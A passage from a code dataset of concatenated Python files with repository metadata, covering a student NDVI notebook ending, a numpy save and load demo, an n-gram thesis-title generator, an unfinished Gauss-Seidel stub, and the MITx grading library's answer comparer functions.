xlabel=\"Date\",\n        ylabel=\"NDVI\")\n\n#plt.show()\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[11]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[12]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# I would recommend for the HARV site that the collection take place towards the end of June and for the SJER site that this take places towards the end of April.\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# You could look at vegetation change over multiple years for each site by downloading further datasets. For each site you could overlay each years NDVI trends (perhaps by grouping by year) to inspect the variability in NDVI temporal signatures from year to year. This would allow you to more robustly identify the periods of peak greeness.\n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n", "meta": {"hexsha": "78ec9451d477bcae9273eefdcdf9200162fd9222", "size": 24422, "ext": "py", "lang": "Python", "max_stars_repo_path": "ea-2021-04-ndvi-automation_haselwimmer.py", "max_stars_repo_name": "haselwimmer/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "75548e2c5e09e21ab50b6673fe36505f2474778a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ea-2021-04-ndvi-automation_haselwimmer.py", "max_issues_repo_name": "haselwimmer/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "75548e2c5e09e21ab50b6673fe36505f2474778a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ea-2021-04-ndvi-automation_haselwimmer.py", "max_forks_repo_name": "haselwimmer/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "75548e2c5e09e21ab50b6673fe36505f2474778a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.7801204819, "max_line_length": 340, "alphanum_fraction": 0.700679715, "include": true, "reason": "import numpy", "num_tokens": 6031, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.37022537869825406, "lm_q2_score": 0.2450850021044189, "lm_q1q2_score": 0.09073668771737088}}
{"text": "import numpy as np\r\na=np.arange(10)\r\nprint(a)\r\n\r\n#save numpy array\r\nnp.save(\"saved\",a)\r\n#new file is craeted with name saved.npy\r\n\r\nnew_a=np.load(\"saved.npy\")  #load the saved file\r\nprint(new_a)\r\n\r\n#saving multiple arrays as zip or archive file\r\na1=np.arange(25)\r\na2=np.arange(30)\r\nnp.savez(\"saved_archive.npz\",x=a1,y=a2) #savez is used for saving multiple arrays\r\nload_npz=np.load(\"saved_archive.npz\")\r\nprint(load_npz['x'])\r\nprint(load_npz['y'])\r\n\r\n#save the arrays to textfile\r\n\r\nnp.savetxt('text.txt',a1,delimiter=',')\r\n#loading of txt files\r\n\r\nload_txt=np.loadtxt('text.txt',delimiter=',')\r\nprint(\"Text File=\",load_txt)\r\n#convets an integrer into a float number\r\n\r\n\r\n\r\n", "meta": {"hexsha": "4b9e7ed88a5431a0808281d821178cee6b340a37", "size": 673, "ext": "py", "lang": "Python", "max_stars_repo_path": "Working with Numpy/saving_loading.py", "max_stars_repo_name": "zack28/TakenMind-Internship", "max_stars_repo_head_hexsha": "7fb7c1c0b255ee233f18fd9ab4fa76a9b2c992d7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2019-07-05T22:28:21.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-08T12:45:15.000Z", "max_issues_repo_path": "Working with Numpy/saving_loading.py", "max_issues_repo_name": "zack28/TakenMind-Internship", "max_issues_repo_head_hexsha": "7fb7c1c0b255ee233f18fd9ab4fa76a9b2c992d7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Working with Numpy/saving_loading.py", "max_forks_repo_name": "zack28/TakenMind-Internship", "max_forks_repo_head_hexsha": "7fb7c1c0b255ee233f18fd9ab4fa76a9b2c992d7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2020-07-23T18:15:33.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-14T14:34:40.000Z", "avg_line_length": 21.7096774194, "max_line_length": 82, "alphanum_fraction": 0.7013372957, "include": true, "reason": "import numpy", "num_tokens": 188, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.20181321745968234, "lm_q1q2_score": 0.09069337346401607}}
{"text": "#!/usr/bin/env python3\n\n# we will be using nltk.lm and numpy\n#%% Imports\nimport random\nfrom typing import Dict, List, Tuple\n\nfrom nltk import everygrams, text\nfrom nltk.probability import FreqDist\nfrom numpy import lookfor\nimport pandas as pd\n\nfrom nltk.lm import MLE \nfrom nltk.lm.preprocessing import padded_everygram_pipeline\n\nrandom_state = 42\n\n# 0. Before you get started, make sure to download the `theses.txt` data set.\n#%% \ndef get_data() -> List :\n    f = open('../res/theses.txt', 'r')\n    lines = f.readlines()\n    f.close()\n\n    for idx, line in enumerate(lines):\n        lines[idx] = line.replace(\"\\n\", \"\")    \n    return lines\n\n# 1. Spend some time on pre-processing. How would you handle hyphenated words\n#    and abbreviations/acronyms?\n#%% Preprocessing\ndef preprocess(data: List[str]):\n    \n    # remove empty entries\n    sentences = data.remove(\"\")\n    \n    # Remove duplicates\n    sentences = list(dict.fromkeys(data)) \n\n    # Make every character lowercase\n    for idx, sentence in enumerate(sentences):\n        sentences[idx] = sentence.lower()\n    \n\n    return sentences\n\ndef tokenize(data: str) -> List[str]:\n    return data.split()\n\n# 2. Train n-gram models with n = [1, ..., 5]. What about <s> and </s>?\n#%% \ndef get_trained_model(data: List[List[str]], n : int):\n    train, vocab = padded_everygram_pipeline(n, data)\n    model = MLE(n)\n    model.fit(train, vocab)\n    return model\n\ndef get_everygrams(data: List[List[str]], n : int):\n    grams = []\n    for idx, sentence in enumerate(data):\n\n        gram = everygrams(\n            sentence,\n            min_len=2, \n            max_len=n, \n            pad_left=True, \n            pad_right=True,\n            left_pad_symbol=\"<s>\",\n            right_pad_symbol=\"</s>\")\n\n        grams.append(gram)\n    return grams\n\n# 3. Write a generator that provides thesis titles of desired length. Please\n#    do not use the available `lm.generate` method but write your own.\n#    nb: If you fix the seed in numpy.random.choice, you get reproducible \n#        results.\n# 3.1 How can you incorporate seed words?\n# 3.2 How do you handle </s> tokens (w.r.t. the desired length?)\n\ndef generate_thesis(ngrams: List[List[str]], text_seed : Tuple = (\"<s>\",), length: int = 10):\n    lookup = generate_lookup(ngrams)\n    current_token = text_seed\n    n = 3\n    \n    def get_next(token : Tuple):\n        values = lookup[token]\n\n        choices = []\n        counts =  []\n\n        for choice in values.keys(): \n            choices.append(choice)\n            counts.append(values[choice])\n\n        word = random.choices(choices, weights=counts, k=1)\n        return word[0]\n\n    title : List = []\n    counter = 0\n    while counter <= length:\n        w = get_next(current_token)\n        if w == \"<s>\":\n            continue\n\n        if w == \"</s>\":\n            break\n\n        title.append(w)        \n        current_token = (w,) # TODO: this currently is always a bigram\n    return title\n    \n\n\ndef generate_lookup(ngrams: List[List[str]]):\n    fdist = FreqDist()\n\n    for entry in ngrams:\n        fdist.update(list(entry))\n\n    lookup = {}\n    for ngram in fdist:        \n        key =  ngram[:-1]\n        word = ngram[-1]\n        count = fdist[ngram]\n\n        if key not in lookup:\n            lookup[key] = {}\n        \n        lookup[key][word] = count\n    return lookup\n    \n\n\n\n# 3.3 If you didn't just copy what nltk's lm.generate does: compare the\n#     outputs\n\n# %%\n\ndata = get_data() \npreprocessed = preprocess(data)\n\ntokenized = []\nfor idx in range(0, len(preprocessed)):\n    tokenized.append(tokenize(preprocessed[idx]))\n\nfor i in range(0, 6):\n    model = get_trained_model(tokenized, 3)\n    ngrams = get_everygrams(tokenized, 3)\n\n    print(f\"########## {i} ############ \")\n    print(model.generate(20, text_seed=[\"<s>\"]))\n    print(generate_thesis(ngrams, text_seed=(\"<s>\",), length=20))\n\n# %%\n\n# %%\n", "meta": {"hexsha": "dc9d7c07d3ef8d04911e6608bdf08fe3b478970e", "size": 3858, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/theses.py", "max_stars_repo_name": "pascalkarg/2-markov-chains", "max_stars_repo_head_hexsha": "e8714677ca7b008b92285d3b9c8b0df4a135270d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/theses.py", "max_issues_repo_name": "pascalkarg/2-markov-chains", "max_issues_repo_head_hexsha": "e8714677ca7b008b92285d3b9c8b0df4a135270d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/theses.py", "max_forks_repo_name": "pascalkarg/2-markov-chains", "max_forks_repo_head_hexsha": "e8714677ca7b008b92285d3b9c8b0df4a135270d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.2641509434, "max_line_length": 93, "alphanum_fraction": 0.6041990669, "include": true, "reason": "from numpy", "num_tokens": 972, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.18713268442910247, "lm_q1q2_score": 0.09064334545474699}}
{"text": "#from math import\r\nimport numpy as np\r\n\r\nx0 = np.array(zeros)\r\nn = input('Input length of solution vector: ')\r\n\r\nfor i in range(1:n):\r\n    x0[i] = float(input('Insert xi coord. of x0 vector: '))\r\nprint(x0)\r\n\r\nf1 = lambda x: (6 - (-2)*[])/5\r\nf2 =\r\nf3 =\r\nf4 =\r\n\r\nx1 = \r\nx2 =\r\nx3 =\r\nx4 =\r\n", "meta": {"hexsha": "685e33ebe3472b1c52a56a684e00838d51036cd2", "size": 286, "ext": "py", "lang": "Python", "max_stars_repo_path": "FailedGaussSeidelMethod.py", "max_stars_repo_name": "lucas-mascena/Numerical_Methods", "max_stars_repo_head_hexsha": "e17a8564ed96e2ed7826de21c8340b597047b750", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "FailedGaussSeidelMethod.py", "max_issues_repo_name": "lucas-mascena/Numerical_Methods", "max_issues_repo_head_hexsha": "e17a8564ed96e2ed7826de21c8340b597047b750", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "FailedGaussSeidelMethod.py", "max_forks_repo_name": "lucas-mascena/Numerical_Methods", "max_forks_repo_head_hexsha": "e17a8564ed96e2ed7826de21c8340b597047b750", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 14.3, "max_line_length": 60, "alphanum_fraction": 0.5524475524, "include": true, "reason": "import numpy", "num_tokens": 100, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5156199157230156, "lm_q2_score": 0.17553808224967946, "lm_q1q2_score": 0.0905109311757595}}
{"text": "\"\"\"\nDefines comparer functions used by FormulaGrader and its subclasses.\n\nSimple Comparer Functions\n=========================\n\nA comparer function must have signature\n`comparer_func(comparer_params_eval, student_eval, utils)` and should return\nTrue, False, 'partial', or a dictionary with required key 'grade_decimal' and\noptional key 'msg'. When `FormulaGrader` (or its subclasses) call your custom\ncomparer function, `comparer_func`'s argument values are:\n\n- `comparer_params_eval`: The `comparer_params` list, numerically evaluated\n  according to variable and function sampling.\n- `student_eval`: The student's input, numerically evaluated according to\n  variable and function sampling.\n- `utils`: A convenience object that may be helpful when writing custom\n  comparer functions. It has attributes:\n\n    - `utils.tolerance`: The tolerance specified in grader configuration,\n      `0.01%` by default\n    - `utils.within_tolerance(x, y)`: checks that `y` is within specified\n      tolerance of `x`. Can handle scalars, vectors, and matrices.\n      If tolerance was specified as a percentage, then checks that\n      `|x-y| < tolerance * x`.\n\n    Comparer functions used inside `MatrixGrader` have the following additional\n    `utils` method:\n\n    - `utils.validate_shape(student_eval, shape)`: Checks that `student_eval`\n      has specified `shape`, where `shape` is a Numpy shape tuple.\n\nA comparer function must return either:\n\n  - a boolean, or\n  - a dictionary with keys:\n      - `'grade_decimal'`: number between 0 and 1 (required)\n      - `'ok'`: `True` or `False` or `'partial'` (optional, inferred from\n        grade_decimal by default)\n      - `'msg'`: a feedback message (optional, defaults to `''`)\n\n\nNOTE: doctests in this module show how the comparer function would be used\n      inside a grader\n\nCorrelated Comparers\n====================\nSee ./baseclasses.py and ./linear_comparer.py for examples.\n\"\"\"\nfrom __future__ import print_function, division, absolute_import, unicode_literals\n\nfrom numbers import Number\nimport numpy as np\n\nimport six\nfrom voluptuous import Schema, Required, Any, Range, All\n\nfrom mitxgraders.exceptions import InputTypeError, StudentFacingError\nfrom mitxgraders.helpers.validatorfuncs import is_callable, Nullable, text_string\nfrom mitxgraders.helpers.calc.mathfuncs import is_nearly_zero\nfrom mitxgraders.helpers.calc.math_array import are_same_length_vectors, is_vector\nfrom mitxgraders.comparers.baseclasses import Comparer, CorrelatedComparer\n\ndef identity_transform(x):\n    \"\"\"\n    Returns the input.\n\n    Note: used instead of lambdas because it prints a nice name.\n    \"\"\"\n    return x\n\nclass EqualityComparer(Comparer):\n    \"\"\"\n    This comparer checks for equality between the student and instructor results,\n    up to a desired tolerance. If desired, a transforming function can be applied\n    before the comparison is carried out.\n\n    comparer_params: ['expect']\n\n    By default, equality_comparer is used in FormulaGrader, NumericalGrader and MatrixGrader.\n    >>> from mitxgraders import *\n    >>> equality_comparer == EqualityComparer()\n    True\n    >>> grader = FormulaGrader(\n    ...     answers='2*x',\n    ...     variables=['x']\n    ... )\n    >>> grader(None, 'x')['ok']\n    False\n    >>> grader(None, 'x*2')['ok']\n    True\n\n    The following example applies cosine to the expected answer and student input\n    before comparison:\n    >>> import numpy as np\n    >>> grader = FormulaGrader(\n    ...     answers={\n    ...         'comparer': EqualityComparer(transform=np.cos),\n    ...         'comparer_params': ['x']\n    ...     },\n    ...     variables=['x']\n    ... )\n    >>> grader(None, 'x')['ok']\n    True\n    >>> grader(None, '-x')['ok']\n    True\n    >>> grader(None, 'x + 2*pi')['ok']\n    True\n    >>> grader(None, 'x + pi')['ok']\n    False\n\n    The following example takes the norm of the expected answer and student input\n    before comparison. Note the different method of changing the comparer.\n    >>> MatrixGrader.set_default_comparer(EqualityComparer(transform=np.linalg.norm))\n    >>> grader = MatrixGrader(\n    ...     answers='[1, 0, 0]'\n    ... )\n    >>> grader(None, '[1, 0, 0]')['ok']\n    True\n    >>> grader(None, '[0, 1, 0]')['ok']\n    True\n    >>> grader(None, '[1/sqrt(2), 0, 1/sqrt(2)]')['ok']\n    True\n    >>> MatrixGrader.reset_default_comparer()\n\n    FormulaGrader and MatrixGrader both have set_default_comparer() and\n    reset_default_comparer() methods.\n\n    \"\"\"\n    schema_config = Schema({\n        Required('transform', default=None): All(\n            Nullable(is_callable),\n            # if f is None, coerce to identity function\n            lambda f: identity_transform if f is None else f\n        )\n    })\n\n    @staticmethod\n    def validate(expected_eval, student_eval, utils):\n        if hasattr(utils, 'validate_shape'):\n            # in numpy, scalars have empty tuples as their shapes\n            shape = tuple() if isinstance(expected_eval, Number) else expected_eval.shape\n            utils.validate_shape(student_eval, shape)\n\n    def __call__(self, comparer_params_eval, student_eval, utils):\n        expected_eval = comparer_params_eval[0]\n        self.validate(expected_eval, student_eval, utils)\n\n        transform = self.config['transform']\n        expected_eval = transform(expected_eval)\n        student_eval = transform(student_eval)\n\n        return utils.within_tolerance(expected_eval, student_eval)\n\nequality_comparer = EqualityComparer()\n\nclass MatrixEntryComparer(CorrelatedComparer):\n    \"\"\"\n    Default comparer for MatrixGrader. Compares student and instructor array\n    evaluations entry-by-entry for equality. Note that despite the name, this comparer\n    works equally well on vectors/matrices/tensors.\n\n    Configuration\n    =============\n        transform (None | function): same as EqualityComparer (default None)\n\n        entry_partial_credit ('proportional' | number): Determines how partial credit\n            is awarded. If set to 'proportional', then credit is proportional to\n            the number of correct array entries. If a numeric value betweem 0 and 1\n            is provided, this flat rate of partial credit is provided as long as\n            some but not all entries are correct. Default is the numeric value 0\n            (no partial credit).\n\n        entry_partial_msg (str): A text string message shown when partial credit\n            is awarded. The string may optionally contain the formatting key {error_indices},\n            which will be replaced with a diagram showing the correct/incorrect entries.\n            To show no message, use the the empty string.\n            Default value is:\n            \"Some array entries are incorrect, marked below:\\n{error_locations}\"\n    \"\"\"\n\n    default_msg = \"Some array entries are incorrect, marked below:\\n{error_locations}\"\n    schema_config = EqualityComparer.schema_config.extend({\n        Required('entry_partial_credit', default=0): Any(All(float, Range(0, 1)), 0, 1, 'proportional'),\n        Required('entry_partial_msg', default=default_msg): text_string\n    })\n\n    @staticmethod\n    def format_message_with_locations(format_string, locs):\n        \"\"\"\n        Returns format_string with {error_locations} replaced by a diagram showing\n        correct/incorrect entries.\n\n        Arguments:\n            format_string: a string that may contain {error_locations} formatting key.\n            locs: a boolean array with False values indicating incorrect entries\n        \"\"\"\n        # Not the most elegant way to do these replacements, but this was what\n        # I came up with to minimize the amount of extra u prefixes in Python 2\n\n        # These are the edX colors, at least as of July 2019\n        bad_str = '<span style=\"color:#b20610\">\\u2717</span>'\n        good_str = '<span style=\"color:#008100\">\\u2713</span>'\n        matrix_as_text = six.text_type(locs).replace(\"  \", \" \").replace(\"[ \", \"[\")\n        matrix_as_text = matrix_as_text.replace(\"True\", good_str).replace(\"False\", bad_str)\n        matrix_as_text = matrix_as_text.replace('\\n', '<br/>')\n        formatted_locs = '<pre>{mat}</pre>'.format(mat=matrix_as_text)\n        return format_string.format(error_locations=formatted_locs)\n\n    @staticmethod\n    def validate(expected_evals, student_evals, utils):\n        for x, y in zip(expected_evals, student_evals):\n            EqualityComparer.validate(x, y, utils)\n\n    def __call__(self, comparer_params_evals, student_evals, utils):\n        expected_evals = [params[0] for params in comparer_params_evals]\n        self.validate(expected_evals, student_evals, utils)\n\n        transform = self.config['transform']\n        expected_evals = [transform(x) for x in expected_evals]\n        student_evals = [transform(x) for x in student_evals]\n        vec_within_tol = np.vectorize(utils.within_tolerance)\n        # comparisons_by_eval is a boolean array of entry-by-entry comparisons,\n        # one for each comparison. Its numpy shape is (n_evals, *eval_shape)\n        comparisons_by_eval = vec_within_tol(expected_evals, student_evals)\n        comparisons_summary = np.all(comparisons_by_eval, axis=0)\n\n        num_entries = comparisons_summary.size\n        percent_correct = np.sum(comparisons_summary).item()/num_entries\n        msg = self.format_message_with_locations(self.config['entry_partial_msg'], comparisons_summary)\n        partial_credit = self.config['entry_partial_credit']\n\n        if percent_correct == 1:\n            return True\n        elif percent_correct == 0:\n            return {'ok': False, 'grade_decimal': 0, 'msg': msg}\n        elif partial_credit == 'proportional':\n            return {'ok': 'partial', 'grade_decimal': percent_correct, 'msg': msg}\n        else:\n            return {'ok': 'partial', 'grade_decimal': partial_credit, 'msg': msg}\n\ndef between_comparer(comparer_params_eval, student_eval, utils):\n    \"\"\"\n    Used to check that input is real and between two parameters.\n\n    comparer_params: ['start', 'stop']\n\n    Example:\n    >>> from mitxgraders import NumericalGrader\n    >>> grader = NumericalGrader(\n    ...     answers={\n    ...         'comparer': between_comparer,\n    ...         'comparer_params': ['1e6', '1e9']\n    ...     }\n    ... )\n    >>> grader(None, '2.5e8')['ok']\n    True\n    >>> grader(None, '0.001e8')['ok']\n    False\n    >>> grader(None, '5e7')['ok']\n    True\n\n    Input must be real:\n    >>> try:\n    ...     grader(None, '5e8+2e6*i')['ok']\n    ... except InputTypeError as error:\n    ...     print(error)\n    Input must be real.\n    \"\"\"\n    start, stop = comparer_params_eval\n\n    if not np.isreal(student_eval):\n        raise InputTypeError(\"Input must be real.\")\n\n    return start <= student_eval <= stop\n\ndef congruence_comparer(comparer_params_eval, student_eval, utils):\n    \"\"\"\n    Compares the student input to a target, moduli a given modulus.\n    Will often set modulus to 2*pi in order to compare angles.\n\n    comparer_params: [target, modulus]\n\n    Example usage:\n    >>> from mitxgraders import FormulaGrader\n    >>> grader = FormulaGrader(\n    ...     answers={\n    ...         'comparer': congruence_comparer,\n    ...         'comparer_params': [\n    ...             'b^2/a', # target\n    ...             'c'      # modulus\n    ...         ]\n    ...     },\n    ...     variables=['a', 'b', 'c']\n    ... )\n    >>> grader(None, 'b^2/a')['ok']\n    True\n    >>> grader(None, 'b^2/a + 1.5*c')['ok']\n    False\n    >>> grader(None, 'b^2/a + 2*c  ')['ok']\n    True\n    \"\"\"\n    expected, modulus = comparer_params_eval\n\n    expected_reduced = expected % modulus\n    input_reduced = student_eval % modulus\n    return utils.within_tolerance(expected_reduced, input_reduced)\n\ndef eigenvector_comparer(comparer_params_eval, student_eval, utils):\n    \"\"\"\n    Used to check that a student's answer is an eigenvector of a matrix\n    with a given eigenvalue. Ignores scaling of the eigenvector.\n\n    comparer_params: [matrix, eigenvalue]\n\n    Example Usage:\n    >>> from mitxgraders import MatrixGrader\n    >>> grader = MatrixGrader(\n    ...     answers={\n    ...         'comparer_params': [\n    ...             '[[1, x], [x, -1]]',    # matrix\n    ...             'sqrt(1+x^2)'           # eigenvalue\n    ...         ],\n    ...         'comparer': eigenvector_comparer\n    ...     },\n    ...     variables=['x']\n    ... )\n    >>> grader(None, '[1+sqrt(1+x^2), x]')['ok']\n    True\n    >>> grader(None, '2*[1+sqrt(1+x^2), x]')['ok']\n    True\n    >>> grader(None, '[1+sqrt(1+x^2), 1]')['ok']\n    False\n    >>> grader(None, '[0, 0]') == {\n    ...     'ok': False,\n    ...     'msg': 'Eigenvectors must be nonzero.',\n    ...     'grade_decimal': 0\n    ... }\n    True\n\n    \"\"\"\n\n    matrix, eigenvalue = comparer_params_eval\n\n    # matrix is square with shape (n, n); student input should have shape (n, )\n    expected_input_shape = (matrix.shape[0], )\n    utils.validate_shape(student_eval, expected_input_shape)\n\n    expected = eigenvalue * student_eval\n    actual = matrix * student_eval\n\n    if utils.within_tolerance(0, np.linalg.norm(student_eval)):\n        return {\n            'ok': False,\n            'grade_decimal': 0,\n            'msg': 'Eigenvectors must be nonzero.'\n        }\n\n    return utils.within_tolerance(actual, expected)\n\ndef vector_span_comparer(comparer_params_eval, student_eval, utils):\n    \"\"\"\n    Check whether student's answer is nonzero and in the span of some given\n    vectors.\n\n    comparer_params: A list of vectors\n\n    Usage\n    =====\n\n    Use a single vector as comparer_params to test whether student input is\n    parallel to a particular vector:\n    >>> from mitxgraders import MatrixGrader\n    >>> grader = MatrixGrader(\n    ...     answers={\n    ...         'comparer_params': [\n    ...             '[3, x, 1 + i]',\n    ...         ],\n    ...         'comparer': vector_span_comparer\n    ...     },\n    ...     variables=['x'],\n    ... )\n    >>> grader(None, '[3, x, 1 + i]')['ok']\n    True\n    >>> grader(None, '[9, 3*x, 3 + 3*i]')['ok']\n    True\n    >>> grader(None, '[9, 3*x, 3 - 3*i]')['ok']\n    False\n\n    Complex scale factors work, too:\n    >>> grader(None, '(4 + 2*i)*[3, x, 1 + i]')['ok']\n    True\n\n    Student input should be nonzero:\n    >>> result = grader(None, '[0, 0, 0]')\n    >>> expected = {\n    ...     'ok': False,\n    ...     'grade_decimal': 0.0,\n    ...     'msg': 'Input should be a nonzero vector.'\n    ... }\n    >>> result == expected\n    True\n\n    Input shape is validated:\n    >>> try:\n    ...     grader(None, '5')\n    ... except InputTypeError as error:\n    ...     print(error)\n    Expected answer to be a vector, but input is a scalar\n\n    Multiple vectors can be provided:\n    >>> grader = MatrixGrader(\n    ...     answers={\n    ...         'comparer_params': [\n    ...             '[1, 1, 0]',    # v0\n    ...             '[0, 1, 2]'     # v1\n    ...         ],\n    ...         'comparer': vector_span_comparer\n    ...     },\n    ... )\n\n    The vector 2*v0 + 3i*v1 = [2, 2+3i, 6i] is in the span of v0 and v1:\n    >>> grader(None, '[2, 2 + 3*i, 6*i]')['ok']\n    True\n\n    The comparer_params should be list of equal-length vectors:\n    >>> grader = MatrixGrader(\n    ...     answers={\n    ...         'comparer_params': [\n    ...             '[1, 1, 0]',\n    ...             '5'\n    ...         ],\n    ...         'comparer': vector_span_comparer\n    ...     },\n    ... )\n    >>> try:\n    ...     grader(None, '[1, 2, 3]')               # doctest: +ELLIPSIS\n    ... except StudentFacingError as error:\n    ...     print(error)\n    Problem Configuration Error: ...to equal-length vectors\n    \"\"\"\n\n    # Validate the comparer params\n    if not are_same_length_vectors(comparer_params_eval):\n        raise StudentFacingError('Problem Configuration Error: comparer_params '\n            'should be a list of strings that evaluate to equal-length vectors')\n\n    # Validate student input shape\n    utils.validate_shape(student_eval, comparer_params_eval[0].shape)\n\n    if utils.within_tolerance(0, np.linalg.norm(student_eval)):\n        return {\n            'ok': False,\n            'grade_decimal': 0,\n            'msg': 'Input should be a nonzero vector.'\n        }\n\n    # Use ordinary least squares to find an approximation to student_eval\n    # that lies within the span of given vectors, then check that the\n    # residual-sum is small in comparison to student input.\n    column_vectors = np.array(comparer_params_eval).transpose()\n    # rcond=-1 uses machine precision for testing singular values\n    # In numpy 1.14+, use rcond=None fo this behavior. (we use 1.6)\n    ols = np.linalg.lstsq(column_vectors, student_eval, rcond=-1)\n    error = np.sqrt(ols[1])\n\n    # Check that error is nearly zero, using student_eval as a reference\n    # when tolerance is specified as a percentage\n    return is_nearly_zero(error, utils.tolerance, reference=student_eval)\n\ndef vector_phase_comparer(comparer_params_eval, student_eval, utils):\n    \"\"\"\n    Check that student input equals a given input (to within tolerance), up to\n    an overall phase factor.\n\n    comparer_params: [target_vector]\n\n    Usage\n    =====\n\n    >>> from mitxgraders import MatrixGrader\n    >>> grader = MatrixGrader(\n    ...     answers={\n    ...         'comparer_params': [\n    ...             '[1, exp(-i*phi)]',\n    ...         ],\n    ...         'comparer': vector_phase_comparer\n    ...     },\n    ...     variables=['phi'],\n    ... )\n\n    >>> grader(None, '[1, exp(-i*phi)]')['ok']\n    True\n    >>> grader(None, '[exp(i*phi/2), exp(-i*phi/2)]')['ok']\n    True\n    >>> grader(None, '[i, exp(i*(pi/2 - phi))]')['ok']\n    True\n\n    >>> grader(None, '[1, exp(+i*phi)]')['ok']\n    False\n    >>> grader(None, '[2, 2*exp(-i*phi)]')['ok']\n    False\n\n    The comparer_params should be list with a single vector:\n    >>> grader = MatrixGrader(\n    ...     answers={\n    ...         'comparer_params': [\n    ...             '[1, 1, 0]',\n    ...             '[0, 1, 1]'\n    ...         ],\n    ...         'comparer': vector_phase_comparer\n    ...     },\n    ... )\n    >>> try:\n    ...     grader(None, '[1, 2, 3]')               # doctest: +ELLIPSIS\n    ... except StudentFacingError as error:\n    ...     print(error)\n    Problem Configuration Error: ...to a single vector.\n    \"\"\"\n    # Validate that author comparer_params evaluate to a single vector\n    if not len(comparer_params_eval) == 1 and is_vector(comparer_params_eval[0]):\n        raise StudentFacingError('Problem Configuration Error: comparer_params '\n            'should be a list of strings that evaluate to a single vector.')\n\n    # We'll check that student input is in the span as target vector and that\n    # it has the same magnitude\n\n    in_span = vector_span_comparer(comparer_params_eval, student_eval, utils)\n\n    expected_mag = np.linalg.norm(comparer_params_eval[0])\n    student_mag = np.linalg.norm(student_eval)\n    same_magnitude = utils.within_tolerance(expected_mag, student_mag)\n\n    return in_span and same_magnitude\n", "meta": {"hexsha": "76f5a0bff40aaa5604c2bc062cf81f4da4bb4e0f", "size": 18902, "ext": "py", "lang": "Python", "max_stars_repo_path": "mitxgraders/comparers/comparers.py", "max_stars_repo_name": "ChristopherChudzicki/mitx-grading-library", "max_stars_repo_head_hexsha": "1d9a7107f26b5e0ebe24deb552cf943779693e18", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "mitxgraders/comparers/comparers.py", "max_issues_repo_name": "ChristopherChudzicki/mitx-grading-library", "max_issues_repo_head_hexsha": 